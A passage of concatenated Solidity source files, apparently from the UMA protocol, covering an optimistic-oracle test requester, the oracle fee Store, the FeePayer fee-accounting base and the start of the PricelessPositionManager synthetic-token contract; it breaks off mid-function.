"@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../OptimisticOracle.sol"; // This is just a test contract to make requests to the optimistic oracle. contract OptimisticRequesterTest is OptimisticRequester { OptimisticOracle optimisticOracle; bool public shouldRevert = false; // State variables to track incoming calls. bytes32 public identifier; uint256 public timestamp; bytes public ancillaryData; uint256 public refund; int256 public price; // Implement collateralCurrency so that this contract simulates a financial contract whose collateral // token can be fetched by off-chain clients. IERC20 public collateralCurrency; // Manually set an expiration timestamp to simulate expiry price requests uint256 public expirationTimestamp; constructor(OptimisticOracle _optimisticOracle) public { optimisticOracle = _optimisticOracle; } function requestPrice( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData, IERC20 currency, uint256 reward ) external { // Set collateral currency to last requested currency: collateralCurrency = currency; currency.approve(address(optimisticOracle), reward); optimisticOracle.requestPrice(_identifier, _timestamp, _ancillaryData, currency, reward); } function settleAndGetPrice( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData ) external returns (int256) { return optimisticOracle.settleAndGetPrice(_identifier, _timestamp, _ancillaryData); } function setBond( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData, uint256 bond ) external { optimisticOracle.setBond(_identifier, _timestamp, _ancillaryData, bond); } function setRefundOnDispute( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData ) external { optimisticOracle.setRefundOnDispute(_identifier, _timestamp, _ancillaryData); } function setCustomLiveness( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData, uint256 customLiveness ) external { optimisticOracle.setCustomLiveness(_identifier, _timestamp, _ancillaryData, customLiveness); } function setRevert(bool _shouldRevert) external { shouldRevert = _shouldRevert; } function setExpirationTimestamp(uint256 _expirationTimestamp) external { expirationTimestamp = _expirationTimestamp; } function clearState() external { delete identifier; delete timestamp; delete refund; delete price; } function priceProposed( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData ) external override { require(!shouldRevert); identifier = _identifier; timestamp = _timestamp; ancillaryData = _ancillaryData; } function priceDisputed( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData, uint256 _refund ) external override { require(!shouldRevert); identifier = _identifier; timestamp = _timestamp; ancillaryData = _ancillaryData; refund = _refund; } function priceSettled( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData, int256 _price ) external override { require(!shouldRevert); identifier = _identifier; timestamp = _timestamp; ancillaryData = _ancillaryData; price = _price; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/MultiRole.sol"; import "../../common/implementation/Withdrawable.sol"; import "../../common/implementation/Testable.sol"; import "../interfaces/StoreInterface.sol"; /** * @title An implementation of Store that can accept Oracle fees in ETH or any arbitrary ERC20 token. */ contract Store is StoreInterface, Withdrawable, Testable { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using FixedPoint for uint256; using SafeERC20 for IERC20; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, Withdrawer } FixedPoint.Unsigned public fixedOracleFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% Oracle fee. FixedPoint.Unsigned public weeklyDelayFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% weekly delay fee. mapping(address => FixedPoint.Unsigned) public finalFees; uint256 public constant SECONDS_PER_WEEK = 604800; /**************************************** * EVENTS * ****************************************/ event NewFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned newOracleFee); event NewWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned newWeeklyDelayFeePerSecondPerPfc); event NewFinalFee(FixedPoint.Unsigned newFinalFee); /** * @notice Construct the Store contract. */ constructor( FixedPoint.Unsigned memory _fixedOracleFeePerSecondPerPfc, FixedPoint.Unsigned memory _weeklyDelayFeePerSecondPerPfc, address _timerAddress ) public Testable(_timerAddress) { _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); _createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Owner), msg.sender); setFixedOracleFeePerSecondPerPfc(_fixedOracleFeePerSecondPerPfc); setWeeklyDelayFeePerSecondPerPfc(_weeklyDelayFeePerSecondPerPfc); } /**************************************** * ORACLE FEE CALCULATION AND PAYMENT * ****************************************/ /** * @notice Pays Oracle fees in ETH to the store. * @dev To be used by contracts whose margin currency is ETH. */ function payOracleFees() external payable override { require(msg.value > 0, "Value sent can't be zero"); } /** * @notice Pays oracle fees in the margin currency, erc20Address, to the store. * @dev To be used if the margin currency is an ERC20 token rather than ETH. * @param erc20Address address of the ERC20 token used to pay the fee. * @param amount number of tokens to transfer. An approval for at least this amount must exist. */ function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external override { IERC20 erc20 = IERC20(erc20Address); require(amount.isGreaterThan(0), "Amount sent can't be zero"); erc20.safeTransferFrom(msg.sender, address(this), amount.rawValue); } /** * @notice Computes the regular oracle fees that a contract should pay for a period. * @dev The late penalty is similar to the regular fee in that is is charged per second over the period between * startTime and endTime. * * The late penalty percentage increases over time as follows: * * - 0-1 week since startTime: no late penalty * * - 1-2 weeks since startTime: 1x late penalty percentage is applied * * - 2-3 weeks since startTime: 2x late penalty percentage is applied * * - ... * * @param startTime defines the beginning time from which the fee is paid. * @param endTime end time until which the fee is paid. * @param pfc "profit from corruption", or the maximum amount of margin currency that a * token sponsor could extract from the contract through corrupting the price feed in their favor. * @return regularFee amount owed for the duration from start to end time for the given pfc. * @return latePenalty penalty percentage, if any, for paying the fee after the deadline. */ function computeRegularFee( uint256 startTime, uint256 endTime, FixedPoint.Unsigned calldata pfc ) external view override returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty) { uint256 timeDiff = endTime.sub(startTime); // Multiply by the unscaled `timeDiff` first, to get more accurate results. regularFee = pfc.mul(timeDiff).mul(fixedOracleFeePerSecondPerPfc); // Compute how long ago the start time was to compute the delay penalty. uint256 paymentDelay = getCurrentTime().sub(startTime); // Compute the additional percentage (per second) that will be charged because of the penalty. // Note: if less than a week has gone by since the startTime, paymentDelay / SECONDS_PER_WEEK will truncate to // 0, causing no penalty to be charged. FixedPoint.Unsigned memory penaltyPercentagePerSecond = weeklyDelayFeePerSecondPerPfc.mul(paymentDelay.div(SECONDS_PER_WEEK)); // Apply the penaltyPercentagePerSecond to the payment period. latePenalty = pfc.mul(timeDiff).mul(penaltyPercentagePerSecond); } /** * @notice Computes the final oracle fees that a contract should pay at settlement. * @param currency token used to pay the final fee. * @return finalFee amount due denominated in units of `currency`. */ function computeFinalFee(address currency) external view override returns (FixedPoint.Unsigned memory) { return finalFees[currency]; } /**************************************** * ADMIN STATE MODIFYING FUNCTIONS * ****************************************/ /** * @notice Sets a new oracle fee per second. * @param newFixedOracleFeePerSecondPerPfc new fee per second charged to use the oracle. */ function setFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned memory newFixedOracleFeePerSecondPerPfc) public onlyRoleHolder(uint256(Roles.Owner)) { // Oracle fees at or over 100% don't make sense. require(newFixedOracleFeePerSecondPerPfc.isLessThan(1), "Fee must be < 100% per second."); fixedOracleFeePerSecondPerPfc = newFixedOracleFeePerSecondPerPfc; emit NewFixedOracleFeePerSecondPerPfc(newFixedOracleFeePerSecondPerPfc); } /** * @notice Sets a new weekly delay fee. * @param newWeeklyDelayFeePerSecondPerPfc fee escalation per week of late fee payment. */ function setWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned memory newWeeklyDelayFeePerSecondPerPfc) public onlyRoleHolder(uint256(Roles.Owner)) { require(newWeeklyDelayFeePerSecondPerPfc.isLessThan(1), "weekly delay fee must be < 100%"); weeklyDelayFeePerSecondPerPfc = newWeeklyDelayFeePerSecondPerPfc; emit NewWeeklyDelayFeePerSecondPerPfc(newWeeklyDelayFeePerSecondPerPfc); } /** * @notice Sets a new final fee for a particular currency. * @param currency defines the token currency used to pay the final fee. * @param newFinalFee final fee amount. */ function setFinalFee(address currency, FixedPoint.Unsigned memory newFinalFee) public onlyRoleHolder(uint256(Roles.Owner)) { finalFees[currency] = newFinalFee; emit NewFinalFee(newFinalFee); } } /** * Withdrawable contract. */ // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./MultiRole.sol"; /** * @title Base contract that allows a specific role to withdraw any ETH and/or ERC20 tokens that the contract holds. */ abstract contract Withdrawable is MultiRole { using SafeERC20 for IERC20; uint256 private roleId; /** * @notice Withdraws ETH from the contract. */ function withdraw(uint256 amount) external onlyRoleHolder(roleId) { Address.sendValue(msg.sender, amount); } /** * @notice Withdraws ERC20 tokens from the contract. * @param erc20Address ERC20 token to withdraw. * @param amount amount of tokens to withdraw. */ function withdrawErc20(address erc20Address, uint256 amount) external onlyRoleHolder(roleId) { IERC20 erc20 = IERC20(erc20Address); erc20.safeTransfer(msg.sender, amount); } /** * @notice Internal method that allows derived contracts to create a role for withdrawal. * @dev Either this method or `_setWithdrawRole` must be called by the derived class for this contract to function * properly. * @param newRoleId ID corresponding to role whose members can withdraw. * @param managingRoleId ID corresponding to managing role who can modify the withdrawable role's membership. * @param withdrawerAddress new manager of withdrawable role. */ function _createWithdrawRole( uint256 newRoleId, uint256 managingRoleId, address withdrawerAddress ) internal { roleId = newRoleId; _createExclusiveRole(newRoleId, managingRoleId, withdrawerAddress); } /** * @notice Internal method that allows derived contracts to choose the role for withdrawal. * @dev The role `setRoleId` must exist. Either this method or `_createWithdrawRole` must be * called by the derived class for this contract to function properly. * @param setRoleId ID corresponding to role whose members can withdraw. */ function _setWithdrawRole(uint256 setRoleId) internal onlyValidRole(setRoleId) { roleId = setRoleId; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../common/implementation/Lockable.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/Testable.sol"; import "../../oracle/interfaces/StoreInterface.sol"; import "../../oracle/interfaces/FinderInterface.sol"; import "../../oracle/interfaces/AdministrateeInterface.sol"; import "../../oracle/implementation/Constants.sol"; /** * @title FeePayer contract. * @notice Provides fee payment functionality for the ExpiringMultiParty contract. * contract is abstract as each derived contract that inherits `FeePayer` must implement `pfc()`. */ abstract contract FeePayer is AdministrateeInterface, Testable, Lockable { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; /**************************************** * FEE PAYER DATA STRUCTURES * ****************************************/ // The collateral currency used to back the positions in this contract. IERC20 public collateralCurrency; // Finder contract used to look up addresses for UMA system contracts. FinderInterface public finder; // Tracks the last block time when the fees were paid. uint256 private lastPaymentTime; // Tracks the cumulative fees that have been paid by the contract for use by derived contracts. // The multiplier starts at 1, and is updated by computing cumulativeFeeMultiplier * (1 - effectiveFee). // Put another way, the cumulativeFeeMultiplier is (1 - effectiveFee1) * (1 - effectiveFee2) ... // For example: // The cumulativeFeeMultiplier should start at 1. // If a 1% fee is charged, the multiplier should update to .99. // If another 1% fee is charged, the multiplier should be 0.99^2 (0.9801). FixedPoint.Unsigned public cumulativeFeeMultiplier; /**************************************** * EVENTS * ****************************************/ event RegularFeesPaid(uint256 indexed regularFee, uint256 indexed lateFee); event FinalFeesPaid(uint256 indexed amount); /**************************************** * MODIFIERS * ****************************************/ // modifier that calls payRegularFees(). modifier fees virtual { // Note: the regular fee is applied on every fee-accruing transaction, where the total change is simply the // regular fee applied linearly since the last update. This implies that the compounding rate depends on the // frequency of update transactions that have this modifier, and it never reaches the ideal of continuous // compounding. This approximate-compounding pattern is common in the Ethereum ecosystem because of the // complexity of compounding data on-chain. payRegularFees(); _; } /** * @notice Constructs the FeePayer contract. Called by child contracts. * @param _collateralAddress ERC20 token that is used as the underlying collateral for the synthetic. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( address _collateralAddress, address _finderAddress, address _timerAddress ) public Testable(_timerAddress) { collateralCurrency = IERC20(_collateralAddress); finder = FinderInterface(_finderAddress); lastPaymentTime = getCurrentTime(); cumulativeFeeMultiplier = FixedPoint.fromUnscaledUint(1); } /**************************************** * FEE PAYMENT FUNCTIONS * ****************************************/ /** * @notice Pays UMA DVM regular fees (as a % of the collateral pool) to the Store contract. * @dev These must be paid periodically for the life of the contract. If the contract has not paid its regular fee * in a week or more then a late penalty is applied which is sent to the caller. If the amount of * fees owed are greater than the pfc, then this will pay as much as possible from the available collateral. * An event is only fired if the fees charged are greater than 0. * @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller). * This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0. */ function payRegularFees() public nonReentrant() returns (FixedPoint.Unsigned memory) { uint256 time = getCurrentTime(); FixedPoint.Unsigned memory collateralPool = _pfc(); // Fetch the regular fees, late penalty and the max possible to pay given the current collateral within the contract. ( FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty, FixedPoint.Unsigned memory totalPaid ) = getOutstandingRegularFees(time); lastPaymentTime = time; // If there are no fees to pay then exit early. if (totalPaid.isEqual(0)) { return totalPaid; } emit RegularFeesPaid(regularFee.rawValue, latePenalty.rawValue); _adjustCumulativeFeeMultiplier(totalPaid, collateralPool); if (regularFee.isGreaterThan(0)) { StoreInterface store = _getStore(); collateralCurrency.safeIncreaseAllowance(address(store), regularFee.rawValue); store.payOracleFeesErc20(address(collateralCurrency), regularFee); } if (latePenalty.isGreaterThan(0)) { collateralCurrency.safeTransfer(msg.sender, latePenalty.rawValue); } return totalPaid; } /** * @notice Fetch any regular fees that the contract has pending but has not yet paid. If the fees to be paid are more * than the total collateral within the contract then the totalPaid returned is full contract collateral amount. * @dev This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0. * @return regularFee outstanding unpaid regular fee. * @return latePenalty outstanding unpaid late fee for being late in previous fee payments. * @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller). */ function getOutstandingRegularFees(uint256 time) public view returns ( FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty, FixedPoint.Unsigned memory totalPaid ) { StoreInterface store = _getStore(); FixedPoint.Unsigned memory collateralPool = _pfc(); // Exit early if there is no collateral or if fees were already paid during this block. if (collateralPool.isEqual(0) || lastPaymentTime == time) { return (regularFee, latePenalty, totalPaid); } (regularFee, latePenalty) = store.computeRegularFee(lastPaymentTime, time, collateralPool); totalPaid = regularFee.add(latePenalty); if (totalPaid.isEqual(0)) { return (regularFee, latePenalty, totalPaid); } // If the effective fees paid as a % of the pfc is > 100%, then we need to reduce it and make the contract pay // as much of the fee that it can (up to 100% of its pfc). We'll reduce the late penalty first and then the // regular fee, which has the effect of paying the store first, followed by the caller if there is any fee remaining. if (totalPaid.isGreaterThan(collateralPool)) { FixedPoint.Unsigned memory deficit = totalPaid.sub(collateralPool); FixedPoint.Unsigned memory latePenaltyReduction = FixedPoint.min(latePenalty, deficit); latePenalty = latePenalty.sub(latePenaltyReduction); deficit = deficit.sub(latePenaltyReduction); regularFee = regularFee.sub(FixedPoint.min(regularFee, deficit)); totalPaid = collateralPool; } } /** * @notice Gets the current profit from corruption for this contract in terms of the collateral currency. * @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are * expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC. * @return pfc value for equal to the current profit from corruption denominated in collateral currency. */ function pfc() external view override nonReentrantView() returns (FixedPoint.Unsigned memory) { return _pfc(); } /** * @notice Removes excess collateral balance not counted in the PfC by distributing it out pro-rata to all sponsors. * @dev Multiplying the `cumulativeFeeMultiplier` by the ratio of non-PfC-collateral :: PfC-collateral effectively * pays all sponsors a pro-rata portion of the excess collateral. * @dev This will revert if PfC is 0 and this contract's collateral balance > 0. */ function gulp() external nonReentrant() { _gulp(); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Pays UMA Oracle final fees of `amount` in `collateralCurrency` to the Store contract. Final fee is a flat fee // charged for each price request. If payer is the contract, adjusts internal bookkeeping variables. If payer is not // the contract, pulls in `amount` of collateral currency. function _payFinalFees(address payer, FixedPoint.Unsigned memory amount) internal { if (amount.isEqual(0)) { return; } if (payer != address(this)) { // If the payer is not the contract pull the collateral from the payer. collateralCurrency.safeTransferFrom(payer, address(this), amount.rawValue); } else { // If the payer is the contract, adjust the cumulativeFeeMultiplier to compensate. FixedPoint.Unsigned memory collateralPool = _pfc(); // The final fee must be < available collateral or the fee will be larger than 100%. // Note: revert reason removed to save bytecode. require(collateralPool.isGreaterThan(amount)); _adjustCumulativeFeeMultiplier(amount, collateralPool); } emit FinalFeesPaid(amount.rawValue); StoreInterface store = _getStore(); collateralCurrency.safeIncreaseAllowance(address(store), amount.rawValue); store.payOracleFeesErc20(address(collateralCurrency), amount); } function _gulp() internal { FixedPoint.Unsigned memory currentPfc = _pfc(); FixedPoint.Unsigned memory currentBalance = FixedPoint.Unsigned(collateralCurrency.balanceOf(address(this))); if (currentPfc.isLessThan(currentBalance)) { cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(currentBalance.div(currentPfc)); } } function _pfc() internal view virtual returns (FixedPoint.Unsigned memory); function _getStore() internal view returns (StoreInterface) { return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store)); } function _computeFinalFees() internal view returns (FixedPoint.Unsigned memory finalFees) { StoreInterface store = _getStore(); return store.computeFinalFee(address(collateralCurrency)); } // Returns the user's collateral minus any fees that have been subtracted since it was originally // deposited into the contract. Note: if the contract has paid fees since it was deployed, the raw // value should be larger than the returned value. function _getFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral) internal view returns (FixedPoint.Unsigned memory collateral) { return rawCollateral.mul(cumulativeFeeMultiplier); } // Returns the user's collateral minus any pending fees that have yet to be subtracted. function _getPendingRegularFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral) internal view returns (FixedPoint.Unsigned memory) { (, , FixedPoint.Unsigned memory currentTotalOutstandingRegularFees) = getOutstandingRegularFees(getCurrentTime()); if (currentTotalOutstandingRegularFees.isEqual(FixedPoint.fromUnscaledUint(0))) return rawCollateral; // Calculate the total outstanding regular fee as a fraction of the total contract PFC. FixedPoint.Unsigned memory effectiveOutstandingFee = currentTotalOutstandingRegularFees.divCeil(_pfc()); // Scale as rawCollateral* (1 - effectiveOutstandingFee) to apply the pro-rata amount to the regular fee. return rawCollateral.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveOutstandingFee)); } // Converts a user-readable collateral value into a raw value that accounts for already-assessed fees. If any fees // have been taken from this contract in the past, then the raw value will be larger than the user-readable value. function _convertToRawCollateral(FixedPoint.Unsigned memory collateral) internal view returns (FixedPoint.Unsigned memory rawCollateral) { return collateral.div(cumulativeFeeMultiplier); } // Decrease rawCollateral by a fee-adjusted collateralToRemove amount. Fee adjustment scales up collateralToRemove // by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore // rawCollateral is decreased by less than expected. Because this method is usually called in conjunction with an // actual removal of collateral from this contract, return the fee-adjusted amount that the rawCollateral is // decreased by so that the caller can minimize error between collateral removed and rawCollateral debited. function _removeCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToRemove) internal returns (FixedPoint.Unsigned memory removedCollateral) { FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral); FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToRemove); rawCollateral.rawValue = rawCollateral.sub(adjustedCollateral).rawValue; removedCollateral = initialBalance.sub(_getFeeAdjustedCollateral(rawCollateral)); } // Increase rawCollateral by a fee-adjusted collateralToAdd amount. Fee adjustment scales up collateralToAdd // by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore // rawCollateral is increased by less than expected. Because this method is usually called in conjunction with an // actual addition of collateral to this contract, return the fee-adjusted amount that the rawCollateral is // increased by so that the caller can minimize error between collateral added and rawCollateral credited. // NOTE: This return value exists only for the sake of symmetry with _removeCollateral. We don't actually use it // because we are OK if more collateral is stored in the contract than is represented by rawTotalPositionCollateral. function _addCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToAdd) internal returns (FixedPoint.Unsigned memory addedCollateral) { FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral); FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToAdd); rawCollateral.rawValue = rawCollateral.add(adjustedCollateral).rawValue; addedCollateral = _getFeeAdjustedCollateral(rawCollateral).sub(initialBalance); } // Scale the cumulativeFeeMultiplier by the ratio of fees paid to the current available collateral. function _adjustCumulativeFeeMultiplier(FixedPoint.Unsigned memory amount, FixedPoint.Unsigned memory currentPfc) internal { FixedPoint.Unsigned memory effectiveFee = amount.divCeil(currentPfc); cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveFee)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; /** * @title Interface that all financial contracts expose to the admin. */ interface AdministrateeInterface { /** * @notice Initiates the shutdown process, in case of an emergency. */ function emergencyShutdown() external; /** * @notice A core contract method called independently or as a part of other financial contract transactions. * @dev It pays fees and moves money between margin accounts to make sure they reflect the NAV of the contract. */ function remargin() external; /** * @notice Gets the current profit from corruption for this contract in terms of the collateral currency. * @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are * expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC. * @return pfc value for equal to the current profit from corruption denominated in collateral currency. */ function pfc() external view returns (FixedPoint.Unsigned memory); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/interfaces/ExpandedIERC20.sol"; import "../../common/interfaces/IERC20Standard.sol"; import "../../oracle/interfaces/OracleInterface.sol"; import "../../oracle/interfaces/OptimisticOracleInterface.sol"; import "../../oracle/interfaces/IdentifierWhitelistInterface.sol"; import "../../oracle/implementation/Constants.sol"; import "../common/FeePayer.sol"; import "../common/financial-product-libraries/FinancialProductLibrary.sol"; /** * @title Financial contract with priceless position management. * @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying * on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token. */ contract PricelessPositionManager is FeePayer { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; using SafeERC20 for ExpandedIERC20; using Address for address; /**************************************** * PRICELESS POSITION DATA STRUCTURES * ****************************************/ // Stores the state of the PricelessPositionManager. Set on expiration, emergency shutdown, or settlement. enum ContractState { Open, ExpiredPriceRequested, ExpiredPriceReceived } ContractState public contractState; // Represents a single sponsor's position. All collateral is held by this contract. // This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor. struct PositionData { FixedPoint.Unsigned tokensOutstanding; // Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`. uint256 withdrawalRequestPassTimestamp; FixedPoint.Unsigned withdrawalRequestAmount; // Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral(). // To add or remove collateral, use _addCollateral() and _removeCollateral(). FixedPoint.Unsigned rawCollateral; // Tracks pending transfer position requests. A transfer position request is pending if `transferPositionRequestPassTimestamp != 0`. uint256 transferPositionRequestPassTimestamp; } // Maps sponsor addresses to their positions. Each sponsor can have only one position. mapping(address => PositionData) public positions; // Keep track of the total collateral and tokens across all positions to enable calculating the // global collateralization ratio without iterating over all positions. FixedPoint.Unsigned public totalTokensOutstanding; // Similar to the rawCollateral in PositionData, this value should not be used directly. // _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust. FixedPoint.Unsigned public rawTotalPositionCollateral; // Synthetic token created by this contract. ExpandedIERC20 public tokenCurrency; // Unique identifier for DVM price feed ticker. bytes32 public priceIdentifier; // Time that this contract expires. Should not change post-construction unless an emergency shutdown occurs. uint256 public expirationTimestamp; // Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur. // !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract. // Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests // expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent // contract is extremely risky for any sponsor or synthetic token holder for the contract. uint256 public withdrawalLiveness; // Minimum number of tokens in a sponsor's position. FixedPoint.Unsigned public minSponsorTokens; // The expiry price pulled from the DVM. FixedPoint.Unsigned public expiryPrice; // Instance of FinancialProductLibrary to provide custom price and collateral requirement transformations to extend // the functionality of the EMP to support a wider range of financial products. FinancialProductLibrary public financialProductLibrary; /**************************************** * EVENTS * ****************************************/ event RequestTransferPosition(address indexed oldSponsor); event RequestTransferPositionExecuted(address indexed oldSponsor, address indexed newSponsor); event RequestTransferPositionCanceled(address indexed oldSponsor); event Deposit(address indexed sponsor, uint256 indexed collateralAmount); event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount); event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount); event NewSponsor(address indexed sponsor); event EndedSponsorPosition(address indexed sponsor); event Repay(address indexed sponsor, uint256 indexed numTokensRepaid, uint256 indexed newTokenCount); event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount); event ContractExpired(address indexed caller); event SettleExpiredPosition( address indexed caller, uint256 indexed collateralReturned, uint256 indexed tokensBurned ); event EmergencyShutdown(address indexed caller, uint256 originalExpirationTimestamp, uint256 shutdownTimestamp); /**************************************** * MODIFIERS * ****************************************/ modifier onlyPreExpiration() { _onlyPreExpiration(); _; } modifier onlyPostExpiration() { _onlyPostExpiration(); _; } modifier onlyCollateralizedPosition(address sponsor) { _onlyCollateralizedPosition(sponsor); _; } // Check that the current state of the pricelessPositionManager is Open. // This prevents multiple calls to `expire` and `EmergencyShutdown` post expiration. modifier onlyOpenState() { _onlyOpenState(); _; } modifier noPendingWithdrawal(address sponsor) { _positionHasNoPendingWithdrawal(sponsor); _; } /** * @notice Construct the PricelessPositionManager * @dev Deployer of this contract should consider carefully which parties have ability to mint and burn * the synthetic tokens referenced by `_tokenAddress`. This contract's security assumes that no external accounts * can mint new tokens, which could be used to steal all of this contract's locked collateral. * We recommend to only use synthetic token contracts whose sole Owner role (the role capable of adding & removing roles) * is assigned to this contract, whose sole Minter role is assigned to this contract, and whose * total supply is 0 prior to construction of this contract. * @param _expirationTimestamp unix timestamp of when the contract will expire. * @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals. * @param _collateralAddress ERC20 token used as collateral for all positions. * @param _tokenAddress ERC20 token used as synthetic token. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _priceIdentifier registered in the DVM for the synthetic. * @param _minSponsorTokens minimum number of tokens that must exist at any time in a position. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. * @param _financialProductLibraryAddress Contract providing contract state transformations. */ constructor( uint256 _expirationTimestamp, uint256 _withdrawalLiveness, address _collateralAddress, address _tokenAddress, address _finderAddress, bytes32 _priceIdentifier, FixedPoint.Unsigned memory _minSponsorTokens, address _timerAddress, address _financialProductLibraryAddress ) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) nonReentrant() { require(_expirationTimestamp > getCurrentTime()); require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier)); expirationTimestamp = _expirationTimestamp; withdrawalLiveness = _withdrawalLiveness; tokenCurrency = ExpandedIERC20(_tokenAddress); minSponsorTokens = _minSponsorTokens; priceIdentifier = _priceIdentifier; // Initialize the financialProductLibrary at the provided address. financialProductLibrary = FinancialProductLibrary(_financialProductLibraryAddress); } /**************************************** * POSITION FUNCTIONS * ****************************************/ /** * @notice Requests to transfer ownership of the caller's current position to a new sponsor address. * Once the request liveness is passed, the sponsor can execute the transfer and specify the new sponsor. * @dev The liveness length is the same as the withdrawal liveness. */ function requestTransferPosition() public onlyPreExpiration() nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(positionData.transferPositionRequestPassTimestamp == 0); // Make sure the proposed expiration of this request is not post-expiry. uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness); require(requestPassTime < expirationTimestamp); // Update the position object for the user. positionData.transferPositionRequestPassTimestamp = requestPassTime; emit RequestTransferPosition(msg.sender); } /** * @notice After a passed transfer position request (i.e., by a call to `requestTransferPosition` and waiting * `withdrawalLiveness`), transfers ownership of the caller's current position to `newSponsorAddress`. * @dev Transferring positions can only occur if the recipient does not already have a position. * @param newSponsorAddress is the address to which the position will be transferred. */ function transferPositionPassedRequest(address newSponsorAddress) public onlyPreExpiration() 